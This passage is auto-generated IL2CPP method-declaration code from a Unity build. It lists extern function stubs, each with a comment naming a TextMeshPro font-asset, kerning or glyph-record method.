extern void TMP_FontAsset_get_atlasWidth_m45CB71477140814BBFF666E9179D0F9BFFA03EFC (void);
// 0x000001EF System.Void TMPro.TMP_FontAsset::set_atlasWidth(System.Int32)
extern void TMP_FontAsset_set_atlasWidth_mBF3960711180E34BB43393B4AA9951DC82B3535E (void);
// 0x000001F0 System.Int32 TMPro.TMP_FontAsset::get_atlasHeight()
extern void TMP_FontAsset_get_atlasHeight_m95F59523E66882079E1D2A4157DE5FF52C4892AC (void);
// 0x000001F1 System.Void TMPro.TMP_FontAsset::set_atlasHeight(System.Int32)
extern void TMP_FontAsset_set_atlasHeight_m1272E53248672683B4210DC23137D7F270CFE81C (void);
// 0x000001F2 System.Int32 TMPro.TMP_FontAsset::get_atlasPadding()
extern void TMP_FontAsset_get_atlasPadding_m556957263DC5F92E8EAA8460635860E96ACBD616 (void);
// 0x000001F3 System.Void TMPro.TMP_FontAsset::set_atlasPadding(System.Int32)
extern void TMP_FontAsset_set_atlasPadding_m3113EAFFC2BFEE6B95D5371D0325A8284CFBDA4B (void);
// 0x000001F4 UnityEngine.TextCore.LowLevel.GlyphRenderMode TMPro.TMP_FontAsset::get_atlasRenderMode()
extern void TMP_FontAsset_get_atlasRenderMode_mF139904718DC44F83E657D2FB175A52B45B4FFAC (void);
// 0x000001F5 System.Void TMPro.TMP_FontAsset::set_atlasRenderMode(UnityEngine.TextCore.LowLevel.GlyphRenderMode)
extern void TMP_FontAsset_set_atlasRenderMode_m82C0939AEF473FB4A319457D4B6B7E67F36059BE (void);
// 0x000001F6 TMPro.TMP_FontFeatureTable TMPro.TMP_FontAsset::get_fontFeatureTable()
extern void TMP_FontAsset_get_fontFeatureTable_mF00EEAEDD0448BE4667CB959CCE79ED45D2300AE (void);
// 0x000001F7 System.Void TMPro.TMP_FontAsset::set_fontFeatureTable(TMPro.TMP_FontFeatureTable)
extern void TMP_FontAsset_set_fontFeatureTable_m1FFFA492C09D14639BA2FA94B334758AC5E1B009 (void);
// 0x000001F8 System.Collections.Generic.List`1<TMPro.TMP_FontAsset> TMPro.TMP_FontAsset::get_fallbackFontAssetTable()
extern void TMP_FontAsset_get_fallbackFontAssetTable_mE0C2D8D8A55C5E2FAAB13CE0A5591C82F1AAF15A (void);
// 0x000001F9 System.Void TMPro.TMP_FontAsset::set_fallbackFontAssetTable(System.Collections.Generic.List`1<TMPro.TMP_FontAsset>)
extern void TMP_FontAsset_set_fallbackFontAssetTable_mEFEEF51CD10815BE4CED7C0D356041401FB8BC1E (void);
// 0x000001FA TMPro.FontAssetCreationSettings TMPro.TMP_FontAsset::get_creationSettings()
extern void TMP_FontAsset_get_creationSettings_mC0B2DC9BAFE3BECB8F00A82C586B45FD0B2C9F6F (void);
// 0x000001FB System.Void TMPro.TMP_FontAsset::set_creationSettings(TMPro.FontAssetCreationSettings)
extern void TMP_FontAsset_set_creationSettings_m81E03C271762A9134DEA4A3A8EA2EA47078DB000 (void);
// 0x000001FC TMPro.TMP_FontWeightPair[] TMPro.TMP_FontAsset::get_fontWeightTable()
extern void TMP_FontAsset_get_fontWeightTable_mC27EC0A27F82292FB24E3AB7B87421AEFD0869DD (void);
// 0x000001FD System.Void TMPro.TMP_FontAsset::set_fontWeightTable(TMPro.TMP_FontWeightPair[])
extern void TMP_FontAsset_set_fontWeightTable_m9E22B6BBDB11B70D6696C79F6E1B85F4D3183B5E (void);
// 0x000001FE TMPro.TMP_FontAsset TMPro.TMP_FontAsset::CreateFontAsset(UnityEngine.Font)
extern void TMP_FontAsset_CreateFontAsset_m9DD7036A85B51299FF1F311D7627FAD669BD6372 (void);
// 0x000001FF TMPro.TMP_FontAsset TMPro.TMP_FontAsset::CreateFontAsset(UnityEngine.Font,System.Int32,System.Int32,UnityEngine.TextCore.LowLevel.GlyphRenderMode,System.Int32,System.Int32,TMPro.AtlasPopulationMode,System.Boolean)
extern void TMP_FontAsset_CreateFontAsset_m762BC2630D840C890BBA39566366BA8A48242C15 (void);
// 0x00000200 System.Void TMPro.TMP_FontAsset::Awake()
extern void TMP_FontAsset_Awake_m2B709B96B357084D0D82D4DFC69AABB73061FB21 (void);
// 0x00000201 System.Void TMPro.TMP_FontAsset::ReadFontAssetDefinition()
extern void TMP_FontAsset_ReadFontAssetDefinition_mC268F8946D0D6B28BABB3BF28FDF64FABDA2DF93 (void);
// 0x00000202 System.Void TMPro.TMP_FontAsset::InitializeDictionaryLookupTables()
extern void TMP_FontAsset_InitializeDictionaryLookupTables_mEB2EEBAF42E2F540C08EE513E9C03D814E6213C3 (void);
// 0x00000203 System.Void TMPro.TMP_FontAsset::InitializeGlyphLookupDictionary()
extern void TMP_FontAsset_InitializeGlyphLookupDictionary_mFAED66009A159849EC515F922317CA629B3DF1F3 (void);
// 0x00000204 System.Void TMPro.TMP_FontAsset::InitializeCharacterLookupDictionary()
extern void TMP_FontAsset_InitializeCharacterLookupDictionary_m598F2AE1FBDE1D58002C4C89371B8FEF1AE61C7D (void);
// 0x00000205 System.Void TMPro.TMP_FontAsset::InitializeGlyphPaidAdjustmentRecordsLookupDictionary()
extern void TMP_FontAsset_InitializeGlyphPaidAdjustmentRecordsLookupDictionary_m0A997B751301AB9C3D3A495D02462B116CEE08B5 (void);
// 0x00000206 System.Void TMPro.TMP_FontAsset::AddSynthesizedCharactersAndFaceMetrics()
extern void TMP_FontAsset_AddSynthesizedCharactersAndFaceMetrics_m4B60AD7CEE8FD7A1DA1EDCAFC6A55E4762F174BB (void);
// 0x00000207 System.Void TMPro.TMP_FontAsset::AddSynthesizedCharacter(System.UInt32,System.Boolean,System.Boolean)
extern void TMP_FontAsset_AddSynthesizedCharacter_m1BCF99FA52D4BEC7EF4C599ABA57270A444F9903 (void);
// 0x00000208 System.Void TMPro.TMP_FontAsset::AddCharacterToLookupCache(System.UInt32,TMPro.TMP_Character)
extern void TMP_FontAsset_AddCharacterToLookupCache_mA1A087CCE0961AB0FDE7032A5592BECC31FDE76E (void);
// 0x00000209 System.Void TMPro.TMP_FontAsset::SortCharacterTable()
extern void TMP_FontAsset_SortCharacterTable_mDC720A14A27EA7CBAFCBD87B376379A177A20E8E (void);
// 0x0000020A System.Void TMPro.TMP_FontAsset::SortGlyphTable()
extern void TMP_FontAsset_SortGlyphTable_m9A2A9FC31D2388CC762B28BC821AB380CCFCDBCE (void);
// 0x0000020B System.Void TMPro.TMP_FontAsset::SortFontFeatureTable()
extern void TMP_FontAsset_SortFontFeatureTable_mA987AB015B7897DB1503B295D26565CFAEAB010F (void);
// 0x0000020C System.Void TMPro.TMP_FontAsset::SortAllTables()
extern void TMP_FontAsset_SortAllTables_mB36ED96BA086B55246208EF70C141199131FAA5C (void);
// 0x0000020D System.Boolean TMPro.TMP_FontAsset::HasCharacter(System.Int32)
extern void TMP_FontAsset_HasCharacter_mA90CDB3FAED3495F38016D37AE6EB47AFF5F9B3F (void);
// 0x0000020E System.Boolean TMPro.TMP_FontAsset::HasCharacter(System.Char,System.Boolean,System.Boolean)
extern void TMP_FontAsset_HasCharacter_mBCA92C1927170D017B189B711EAFF3B94D09E5C2 (void);
// 0x0000020F System.Boolean TMPro.TMP_FontAsset::HasCharacter_Internal(System.UInt32,System.Boolean,System.Boolean)
extern void TMP_FontAsset_HasCharacter_Internal_m3BEAA9D7D0F4794B1C70CC846AFFCEA2664977E6 (void);
// 0x00000210 System.Boolean TMPro.TMP_FontAsset::HasCharacters(System.String,System.Collections.Generic.List`1<System.Char>&)
extern void TMP_FontAsset_HasCharacters_m4FE851AD87F33A07C2ACF1E6EB3EBD53CE79D3BC (void);
// 0x00000211 System.Boolean TMPro.TMP_FontAsset::HasCharacters(System.String,System.UInt32[]&,System.Boolean,System.Boolean)
extern void TMP_FontAsset_HasCharacters_mBFCB2CF8940F3C6B932EB5FDC7DAA08EFCB57190 (void);
// 0x00000212 System.Boolean TMPro.TMP_FontAsset::HasCharacters(System.String)
extern void TMP_FontAsset_HasCharacters_mD2F9B73092E10B96039C1167BE7C5071B9954AD8 (void);
// 0x00000213 System.String TMPro.TMP_FontAsset::GetCharacters(TMPro.TMP_FontAsset)
extern void TMP_FontAsset_GetCharacters_m9555BE7F8D0F68BD457531A516BCA56EA3BD0A05 (void);
// 0x00000214 System.Int32[] TMPro.TMP_FontAsset::GetCharactersArray(TMPro.TMP_FontAsset)
extern void TMP_FontAsset_GetCharactersArray_m857E7DC1EC97B28DE2D070869846DECBA32A3F64 (void);
// 0x00000215 System.UInt32 TMPro.TMP_FontAsset::GetGlyphIndex(System.UInt32)
extern void TMP_FontAsset_GetGlyphIndex_m22E9BF763EC7252C7FCD1D89B97AE424FAF7C957 (void);
// 0x00000216 System.Void TMPro.TMP_FontAsset::RegisterFontAssetForFontFeatureUpdate(TMPro.TMP_FontAsset)
extern void TMP_FontAsset_RegisterFontAssetForFontFeatureUpdate_m462AD17BF58378EF2B0A9BB139BAFB4DB6E54D15 (void);
// 0x00000217 System.Void TMPro.TMP_FontAsset::UpdateFontFeaturesForFontAssetsInQueue()
extern void TMP_FontAsset_UpdateFontFeaturesForFontAssetsInQueue_m5DB200E1B88AEE4F088903B55ED6079E97B5C782 (void);
// 0x00000218 System.Void TMPro.TMP_FontAsset::RegisterFontAssetForAtlasTextureUpdate(TMPro.TMP_FontAsset)
extern void TMP_FontAsset_RegisterFontAssetForAtlasTextureUpdate_m9B1C54FC7371EF47A160C009D4335FFB8A26F100 (void);
// 0x00000219 System.Void TMPro.TMP_FontAsset::UpdateAtlasTexturesForFontAssetsInQueue()
extern void TMP_FontAsset_UpdateAtlasTexturesForFontAssetsInQueue_mD874106E2E98ABE06A57496E99DC1BF5633704EE (void);
// 0x0000021A System.Boolean TMPro.TMP_FontAsset::TryAddCharacters(System.UInt32[],System.Boolean)
extern void TMP_FontAsset_TryAddCharacters_mC2E29947A0696751B70B643959C787825BEE0A99 (void);
// 0x0000021B System.Boolean TMPro.TMP_FontAsset::TryAddCharacters(System.UInt32[],System.UInt32[]&,System.Boolean)
extern void TMP_FontAsset_TryAddCharacters_m007642E36561CCCBB6412F12387011A113E7CB58 (void);
// 0x0000021C System.Boolean TMPro.TMP_FontAsset::TryAddCharacters(System.String,System.Boolean)
extern void TMP_FontAsset_TryAddCharacters_m790E9AC68D5E0B177490733D1BC69CA42B04CDB1 (void);
// 0x0000021D System.Boolean TMPro.TMP_FontAsset::TryAddCharacters(System.String,System.String&,System.Boolean)
extern void TMP_FontAsset_TryAddCharacters_m899ED242A4630FA7A60DD9EDC140C5E6508A8517 (void);
// 0x0000021E System.Boolean TMPro.TMP_FontAsset::TryAddCharacterInternal(System.UInt32,TMPro.TMP_Character&)
extern void TMP_FontAsset_TryAddCharacterInternal_m95DD37F41C18EE7692B44DCD984CD12C2350C122 (void);
// 0x0000021F System.Boolean TMPro.TMP_FontAsset::TryGetCharacter_and_QueueRenderToTexture(System.UInt32,TMPro.TMP_Character&)
extern void TMP_FontAsset_TryGetCharacter_and_QueueRenderToTexture_m7C957763D146CEBEE8CE749B147DBDAD9D7D16E9 (void);
// 0x00000220 System.Void TMPro.TMP_FontAsset::TryAddGlyphsToAtlasTextures()
extern void TMP_FontAsset_TryAddGlyphsToAtlasTextures_m7498D7F7102E6B35C41CE28CE0A60AAE9228DC47 (void);
// 0x00000221 System.Boolean TMPro.TMP_FontAsset::TryAddGlyphsToNewAtlasTexture()
extern void TMP_FontAsset_TryAddGlyphsToNewAtlasTexture_mD885238E48514F6063212EA6964ECC32F4F1D4FB (void);
// 0x00000222 System.Void TMPro.TMP_FontAsset::SetupNewAtlasTexture()
extern void TMP_FontAsset_SetupNewAtlasTexture_m01889BA60E325103E4BB5A8B2D6AA8EB0CDA9B92 (void);
// 0x00000223 System.Void TMPro.TMP_FontAsset::UpdateAtlasTexture()
extern void TMP_FontAsset_UpdateAtlasTexture_m748FA0BD4B0A8C835518565D119585ED7B9A209D (void);
// 0x00000224 System.Void TMPro.TMP_FontAsset::UpdateGlyphAdjustmentRecords()
extern void TMP_FontAsset_UpdateGlyphAdjustmentRecords_m8530223EDCBEB89B965D763C65AC194F144C2C23 (void);
// 0x00000225 System.Void TMPro.TMP_FontAsset::UpdateGlyphAdjustmentRecords(System.UInt32[])
extern void TMP_FontAsset_UpdateGlyphAdjustmentRecords_mAD7016C52AE74A9F7482D6CCCE7F7319E78229FF (void);
// 0x00000226 System.Void TMPro.TMP_FontAsset::UpdateGlyphAdjustmentRecords(System.Collections.Generic.List`1<System.UInt32>)
extern void TMP_FontAsset_UpdateGlyphAdjustmentRecords_m04C430C2BBEBD156F4125657D24D2B8370DB991F (void);
// 0x00000227 System.Void TMPro.TMP_FontAsset::UpdateGlyphAdjustmentRecords(System.Collections.Generic.List`1<System.UInt32>,System.Collections.Generic.List`1<System.UInt32>)
extern void TMP_FontAsset_UpdateGlyphAdjustmentRecords_mC1E677EF9FB0B1E4400B4790468E542B5360B7CD (void);
// 0x00000228 System.Void TMPro.TMP_FontAsset::CopyListDataToArray(System.Collections.Generic.List`1<T>,T[]&)
// 0x00000229 System.Void TMPro.TMP_FontAsset::ClearFontAssetData(System.Boolean)
extern void TMP_FontAsset_ClearFontAssetData_mB81DC841D38B3AC504B53D0920D86E6E4E56596D (void);
// 0x0000022A System.Void TMPro.TMP_FontAsset::ClearFontAssetDataInternal()
extern void TMP_FontAsset_ClearFontAssetDataInternal_m060146345FFE228F634C73F623C99666639773E2 (void);
// 0x0000022B System.Void TMPro.TMP_FontAsset::UpdateFontAssetData()
extern void TMP_FontAsset_UpdateFontAssetData_m093EFEDF92C4667C5A92C6180B30A2F532C5C88C (void);
// 0x0000022C System.Void TMPro.TMP_FontAsset::ClearFontAssetTables()
extern void TMP_FontAsset_ClearFontAssetTables_mC1F9BA41514D50F1E5A9CDAD3A845D90ADB98D56 (void);
// 0x0000022D System.Void TMPro.TMP_FontAsset::ClearAtlasTextures(System.Boolean)
extern void TMP_FontAsset_ClearAtlasTextures_m9B1D7B0F65146FF93ECDE10DFC286D8A38D5C007 (void);
// 0x0000022E System.Void TMPro.TMP_FontAsset::UpgradeFontAsset()
extern void TMP_FontAsset_UpgradeFontAsset_m97EF749DD42303D0AF9EF5C120832CA697F9DAC1 (void);
// 0x0000022F System.Void TMPro.TMP_FontAsset::UpgradeGlyphAdjustmentTableToFontFeatureTable()
extern void TMP_FontAsset_UpgradeGlyphAdjustmentTableToFontFeatureTable_m3C51FF9BA35FBA397791A4EFAAFB4B413553F492 (void);
// 0x00000230 System.Void TMPro.TMP_FontAsset::.ctor()
extern void TMP_FontAsset__ctor_m20A531FC2F5114F9D1B98B38E06ACE46AF3403EC (void);
// 0x00000231 System.Void TMPro.TMP_FontAsset::.cctor()
extern void TMP_FontAsset__cctor_m7F024C85C2C034E2E7D1BE1967FF324D6049AF52 (void);
// 0x00000232 System.Void TMPro.TMP_FontAsset/<>c::.cctor()
extern void U3CU3Ec__cctor_m030E18D3E762DD9AF27ECEDF83A40ACF1036C279 (void);
// 0x00000233 System.Void TMPro.TMP_FontAsset/<>c::.ctor()
extern void U3CU3Ec__ctor_mFF3DD36E78B4295FBBC0AEA2BC2B5D1C50E3FDC4 (void);
// 0x00000234 System.UInt32 TMPro.TMP_FontAsset/<>c::<SortCharacterTable>b__124_0(TMPro.TMP_Character)
extern void U3CU3Ec_U3CSortCharacterTableU3Eb__124_0_m6AEE1B8840F16BB5E083850B57EAF42151BC2781 (void);
// 0x00000235 System.UInt32 TMPro.TMP_FontAsset/<>c::<SortGlyphTable>b__125_0(UnityEngine.TextCore.Glyph)
extern void U3CU3Ec_U3CSortGlyphTableU3Eb__125_0_m19A43542E1087AC697E12E01BCD19D210B3C7E51 (void);
// 0x00000236 System.Void TMPro.FaceInfo_Legacy::.ctor()
extern void FaceInfo_Legacy__ctor_mCDDCBA8EA56302A85281073F59AF8CF669DB5260 (void);
// 0x00000237 TMPro.TMP_Glyph TMPro.TMP_Glyph::Clone(TMPro.TMP_Glyph)
extern void TMP_Glyph_Clone_m4E28AEB110CBF5731A1599A620EE46E2C6045923 (void);
// 0x00000238 System.Void TMPro.TMP_Glyph::.ctor()
extern void TMP_Glyph__ctor_mEAE3F4DA2D1BDC556A578BAAA15BD354183AE2A8 (void);
// 0x00000239 System.Void TMPro.FontAssetCreationSettings::.ctor(System.String,System.Int32,System.Int32,System.Int32,System.Int32,System.Int32,System.Int32,System.Int32,System.String,System.Int32)
extern void FontAssetCreationSettings__ctor_m9A07F1B7C85235E9BDA86E7505E0A5AE0B78E5BA (void);
// 0x0000023A System.Void TMPro.KerningPairKey::.ctor(System.UInt32,System.UInt32)
extern void KerningPairKey__ctor_m76933735460799247D37F13189B62469E35C767B (void);
// 0x0000023B System.Void TMPro.GlyphValueRecord_Legacy::.ctor(UnityEngine.TextCore.LowLevel.GlyphValueRecord)
extern void GlyphValueRecord_Legacy__ctor_m6E3D36058693888F61D14BA825F5F29EA4FC7033 (void);
// 0x0000023C TMPro.GlyphValueRecord_Legacy TMPro.GlyphValueRecord_Legacy::op_Addition(TMPro.GlyphValueRecord_Legacy,TMPro.GlyphValueRecord_Legacy)
extern void GlyphValueRecord_Legacy_op_Addition_m9FE624422D0FEDA348A0AF04019E10ADF36F5AE2 (void);
// 0x0000023D System.UInt32 TMPro.KerningPair::get_firstGlyph()
extern void KerningPair_get_firstGlyph_m8B473F310BB1D0E83BE4DB2E9C395C97E578BDCD (void);
// 0x0000023E System.Void TMPro.KerningPair::set_firstGlyph(System.UInt32)
extern void KerningPair_set_firstGlyph_m558F1AB56DF0BC72921E60524E906B3308EF6254 (void);
// 0x0000023F TMPro.GlyphValueRecord_Legacy TMPro.KerningPair::get_firstGlyphAdjustments()
extern void KerningPair_get_firstGlyphAdjustments_mDD893850E04A182C37A2360992AE0F352E585600 (void);
// 0x00000240 System.UInt32 TMPro.KerningPair::get_secondGlyph()
extern void KerningPair_get_secondGlyph_m7F0717E0FE69CCE0ECFFB39680839D2734C095F0 (void);
// 0x00000241 System.Void TMPro.KerningPair::set_secondGlyph(System.UInt32)
extern void KerningPair_set_secondGlyph_m73FF4FD9F0409E3B2FC7DBC542C47DEC6E6979B5 (void);
// 0x00000242 TMPro.GlyphValueRecord_Legacy TMPro.KerningPair::get_secondGlyphAdjustments()
extern void KerningPair_get_secondGlyphAdjustments_m04BE3DDED12C198E109C8E176E8BD8A4D49B0358 (void);
// 0x00000243 System.Boolean TMPro.KerningPair::get_ignoreSpacingAdjustments()
extern void KerningPair_get_ignoreSpacingAdjustments_mAF52BE99F08941D553BB53FBD6FA02391A1CE07C (void);
// 0x00000244 System.Void TMPro.KerningPair::.ctor()
extern void KerningPair__ctor_mE4BD600F9F79E3590C13CE3F1C7BC89693420416 (void);
// 0x00000245 System.Void TMPro.KerningPair::.ctor(System.UInt32,System.UInt32,System.Single)
extern void KerningPair__ctor_m7AB7CD68A07A7BD8B1CB2A41C84EA8115F3ED974 (void);
// 0x00000246 System.Void TMPro.KerningPair::.ctor(System.UInt32,TMPro.GlyphValueRecord_Legacy,System.UInt32,TMPro.GlyphValueRecord_Legacy)
extern void KerningPair__ctor_m97D222190FBC36A6C9843C7CB8F4E5F0CF963A11 (void);
// 0x00000247 System.Void TMPro.KerningPair::ConvertLegacyKerningData()
extern void KerningPair_ConvertLegacyKerningData_mEA902FF8F87D8EEB50C054172D20CA9795ED1D11 (void);
// 0x00000248 System.Void TMPro.KerningPair::.cctor()
extern void KerningPair__cctor_m6FD8BEF06BC135F4BE6815FC9569F6954795A41E (void);
// 0x00000249 System.Void TMPro.KerningTable::.ctor()
extern void KerningTable__ctor_m5D6DF57B05146E104A2756917A31C27D0CC7A108 (void);
// 0x0000024A System.Void TMPro.KerningTable::AddKerningPair()
extern void KerningTable_AddKerningPair_mBAF75C93E61FAEE9998A2EE648119E723B8BE020 (void);
// 0x0000024B System.Int32 TMPro.KerningTable::AddKerningPair(System.UInt32,System.UInt32,System.Single)
extern void KerningTable_AddKerningPair_m4392E91557C580125D59C4018E880D056476CE89 (void);
// 0x0000024C System.Int32 TMPro.KerningTable::AddGlyphPairAdjustmentRecord(System.UInt32,TMPro.GlyphValueRecord_Legacy,System.UInt32,TMPro.GlyphValueRecord_Legacy)
extern void KerningTable_AddGlyphPairAdjustmentRecord_m3542CA49AAE214B069445C85916D73C339EAF7E2 (void);
// 0x0000024D System.Void TMPro.KerningTable::RemoveKerningPair(System.Int32,System.Int32)
extern void KerningTable_RemoveKerningPair_m5FCDFF2DC4CAADDD361D70158DEA5E0A43010469 (void);
// 0x0000024E System.Void TMPro.KerningTable::RemoveKerningPair(System.Int32)
extern void KerningTable_RemoveKerningPair_mEE2E6198028618C0A5055AEE1A2D1DBB7F108DAD (void);
// 0x0000024F System.Void TMPro.KerningTable::SortKerningPairs()
extern void KerningTable_SortKerningPairs_m59E143CF7D8EFC9E72ABA558A6680A6B3B86161B (void);
// 0x00000250 System.Void TMPro.KerningTable/<>c__DisplayClass3_0::.ctor()
extern void U3CU3Ec__DisplayClass3_0__ctor_m5B27602FA83CA988234ED481E13726F7ACFDEDFD (void);
// 0x00000251 System.Boolean TMPro.KerningTable/<>c__DisplayClass3_0::<AddKerningPair>b__0(TMPro.KerningPair)
extern void U3CU3Ec__DisplayClass3_0_U3CAddKerningPairU3Eb__0_mE8621E8C8419041EA962313967C9B22DADB7EC59 (void);
// 0x00000252 System.Void TMPro.KerningTable/<>c__DisplayClass4_0::.ctor()
extern void U3CU3Ec__DisplayClass4_0__ctor_m7835A094259518636DCEBD5D5F5AC88B48799B4D (void);
// 0x00000253 System.Boolean TMPro.KerningTable/<>c__DisplayClass4_0::<AddGlyphPairAdjustmentRecord>b__0(TMPro.KerningPair)
extern void U3CU3Ec__DisplayClass4_0_U3CAddGlyphPairAdjustmentRecordU3Eb__0_m0457EDA34868349FD7DF84F23C8EC201BBA2FE4A (void);
// 0x00000254 System.Void TMPro.KerningTable/<>c__DisplayClass5_0::.ctor()
extern void U3CU3Ec__DisplayClass5_0__ctor_m3718024C98F2CB240337703C272C56F9D60E0D86 (void);
// 0x00000255 System.Boolean TMPro.KerningTable/<>c__DisplayClass5_0::<RemoveKerningPair>b__0(TMPro.KerningPair)
extern void U3CU3Ec__DisplayClass5_0_U3CRemoveKerningPairU3Eb__0_mDD3433EA90C0CAE26949E21FBB418FF2DA10E509 (void);
// 0x00000256 System.Void TMPro.KerningTable/<>c::.cctor()
extern void U3CU3Ec__cctor_mCA07A3C5B0C09DC5241EFC69E3808950EDF1078E (void);
// 0x00000257 System.Void TMPro.KerningTable/<>c::.ctor()
extern void U3CU3Ec__ctor_mD36FC6FECCA7288F1C50E1C1C33357CB9CBD141A (void);
// 0x00000258 System.UInt32 TMPro.KerningTable/<>c::<SortKerningPairs>b__7_0(TMPro.KerningPair)
extern void U3CU3Ec_U3CSortKerningPairsU3Eb__7_0_m20BBABBDA17C6FD8E15138433B9D7FF73FC93183 (void);
// 0x00000259 System.UInt32 TMPro.KerningTable/<>c::<SortKerningPairs>b__7_1(TMPro.KerningPair)
extern void U3CU3Ec_U3CSortKerningPairsU3Eb__7_1_m6B19D6F1591A26B21706695288AE73FB9B26C470 (void);
// 0x0000025A TMPro.TMP_FontAsset TMPro.TMP_FontUtilities::SearchForCharacter(TMPro.TMP_FontAsset,System.UInt32,TMPro.TMP_Character&)
extern void TMP_FontUtilities_SearchForCharacter_mAF085AC138D365A9105E5E1CAFF333449DFC392F (void);
// 0x0000025B TMPro.TMP_FontAsset TMPro.TMP_FontUtilities::SearchForCharacter(System.Collections.Generic.List`1<TMPro.TMP_FontAsset>,System.UInt32,TMPro.TMP_Character&)
extern void TMP_FontUtilities_SearchForCharacter_mB45D07CF789BD7E2367D6DA6B5C597E77BD6BC41 (void);
// 0x0000025C TMPro.TMP_FontAsset TMPro.TMP_FontUtilities::SearchForCharacterInternal(TMPro.TMP_FontAsset,System.UInt32,TMPro.TMP_Character&)
extern void TMP_FontUtilities_SearchForCharacterInternal_m8F9509F42C7CA4571E9F442C067F50D03B740DBF (void);
// 0x0000025D TMPro.TMP_FontAsset TMPro.TMP_FontUtilities::SearchForCharacterInternal(System.Collections.Generic.List`1<TMPro.TMP_FontAsset>,System.UInt32,TMPro.TMP_Character&)
extern void TMP_FontUtilities_SearchForCharacterInternal_mAD29348D7CEDC8B84347E2C5372D13203E346103 (void);
// 0x0000025E System.Void TMPro.TMP_FontAssetUtilities::.cctor()
extern void TMP_FontAssetUtilities__cctor_mF9D77DA738160F756E84EC29D70B2302AB4E4C05 (void);
// 0x0000025F TMPro.TMP_FontAssetUtilities TMPro.TMP_FontAssetUtilities::get_instance()
extern void TMP_FontAssetUtilities_get_instance_m5B6177BFCA131583D64E0EB2A80D74A392E8E1A0 (void);
// 0x00000260 TMPro.TMP_Character TMPro.TMP_FontAssetUtilities::GetCharacterFromFontAsset(System.UInt32,TMPro.TMP_FontAsset,System.Boolean,TMPro.FontStyles,TMPro.FontWeight,System.Boolean&)
extern void TMP_FontAssetUtilities_GetCharacterFromFontAsset_m7C71B7CDCBE11E82D7152BFC72B5006E3E671063 (void);
// 0x00000261 TMPro.TMP_Character TMPro.TMP_FontAssetUtilities::GetCharacterFromFontAsset_Internal(System.UInt32,TMPro.TMP_FontAsset,System.Boolean,TMPro.FontStyles,TMPro.FontWeight,System.Boolean&)
extern void TMP_FontAssetUtilities_GetCharacterFromFontAsset_Internal_m1862AE751CC6DA86B4424DA82B27B0C5073A237C (void);
// 0x00000262 TMPro.TMP_Character TMPro.TMP_FontAssetUtilities::GetCharacterFromFontAssets(System.UInt32,TMPro.TMP_FontAsset,System.Collections.Generic.List`1<TMPro.TMP_FontAsset>,System.Boolean,TMPro.FontStyles,TMPro.FontWeight,System.Boolean&)
extern void TMP_FontAssetUtilities_GetCharacterFromFontAssets_mD811EFBC16E08263EB7793465CD4A840A24423F3 (void);
// 0x00000263 TMPro.TMP_SpriteCharacter TMPro.TMP_FontAssetUtilities::GetSpriteCharacterFromSpriteAsset(System.UInt32,TMPro.TMP_SpriteAsset,System.Boolean)
extern void TMP_FontAssetUtilities_GetSpriteCharacterFromSpriteAsset_m5AAE0164B09274F8B314E0169277766ACCD7F02E (void);
// 0x00000264 TMPro.TMP_SpriteCharacter TMPro.TMP_FontAssetUtilities::GetSpriteCharacterFromSpriteAsset_Internal(System.UInt32,TMPro.TMP_SpriteAsset,System.Boolean)
extern void TMP_FontAssetUtilities_GetSpriteCharacterFromSpriteAsset_Internal_mA591B4D26EF45A56994E67F285F21A68156EC4D7 (void);
// 0x00000265 System.Void TMPro.TMP_FontAssetUtilities::.ctor()
extern void TMP_FontAssetUtilities__ctor_m8F25AE77B581CFF45180EF5FABBB4688608FDA02 (void);
// 0x00000266 System.Single TMPro.TMP_GlyphValueRecord::get_xPlacement()
extern void TMP_GlyphValueRecord_get_xPlacement_m3BB0AE22AA4B44163AD2BFB438E60E227523D5E7 (void);
// 0x00000267 System.Void TMPro.TMP_GlyphValueRecord::set_xPlacement(System.Single)
extern void TMP_GlyphValueRecord_set_xPlacement_m12D97CDB7F44213ACBB3C015B5E88147147850A2 (void);
// 0x00000268 System.Single TMPro.TMP_GlyphValueRecord::get_yPlacement()
extern void TMP_GlyphValueRecord_get_yPlacement_m4FC0DDE3029083A45158537122D3BC3391DF2143 (void);
// 0x00000269 System.Void TMPro.TMP_GlyphValueRecord::set_yPlacement(System.Single)
extern void TMP_GlyphValueRecord_set_yPlacement_m21EE385F1B674F9A575FFE6583A7E9035CFA2C24 (void);
// 0x0000026A System.Single TMPro.TMP_GlyphValueRecord::get_xAdvance()
extern void TMP_GlyphValueRecord_get_xAdvance_mA01138133A0841ADC49C3D0718B2268D9819CE4B (void);
// 0x0000026B System.Void TMPro.TMP_GlyphValueRecord::set_xAdvance(System.Single)
extern void TMP_GlyphValueRecord_set_xAdvance_m862DABDFC3FF1C78E6A4C655A6C5631B905370E9 (void);
// 0x0000026C System.Single TMPro.TMP_GlyphValueRecord::get_yAdvance()
extern void TMP_GlyphValueRecord_get_yAdvance_m6F2282B9DF89F62B52A07D36327CC39720225BA3 (void);
// 0x0000026D System.Void TMPro.TMP_GlyphValueRecord::set_yAdvance(System.Single)
extern void TMP_GlyphValueRecord_set_yAdvance_m5369AC719C39D3B9B79F5FEDC85C109754A4D60E (void);
// 0x0000026E System.Void TMPro.TMP_GlyphValueRecord::.ctor(System.Single,System.Single,System.Single,System.Single)
extern void TMP_GlyphValueRecord__ctor_m030CD9864F16A5FB58D41ECD6CF66EC883B078BA (void);
// 0x0000026F System.Void TMPro.TMP_GlyphValueRecord::.ctor(TMPro.GlyphValueRecord_Legacy)
extern void TMP_GlyphValueRecord__ctor_m5F96BB76417057AB3AC83120DA921295DBCA9952 (void);
// 0x00000270 System.Void TMPro.TMP_GlyphValueRecord::.ctor(UnityEngine.TextCore.LowLevel.GlyphValueRecord)
extern void TMP_GlyphValueRecord__ctor_mFE317398DD11D070520A083E7C0758D7FD862F11 (void);
// 0x00000271 TMPro.TMP_GlyphValueRecord TMPro.TMP_GlyphValueRecord::op_Addition(TMPro.TMP_GlyphValueRecord,TMPro.TMP_GlyphValueRecord)
extern void TMP_GlyphValueRecord_op_Addition_m23C3133D88237C808C8623897F39280BCE880C21 (void);
// 0x00000272 System.UInt32 TMPro.TMP_GlyphAdjustmentRecord::get_glyphIndex()
extern void TMP_GlyphAdjustmentRecord_get_glyphIndex_m5DE8A84366AD7DC8B32D99B47D2BFE291F3C4F34 (void);
// 0x00000273 System.Void TMPro.TMP_GlyphAdjustmentRecord::set_glyphIndex(System.UInt32)
extern void TMP_GlyphAdjustmentRecord_set_glyphIndex_m3045246D7E256A1DEC17ADE2887BCEB013DF2DBB (void);
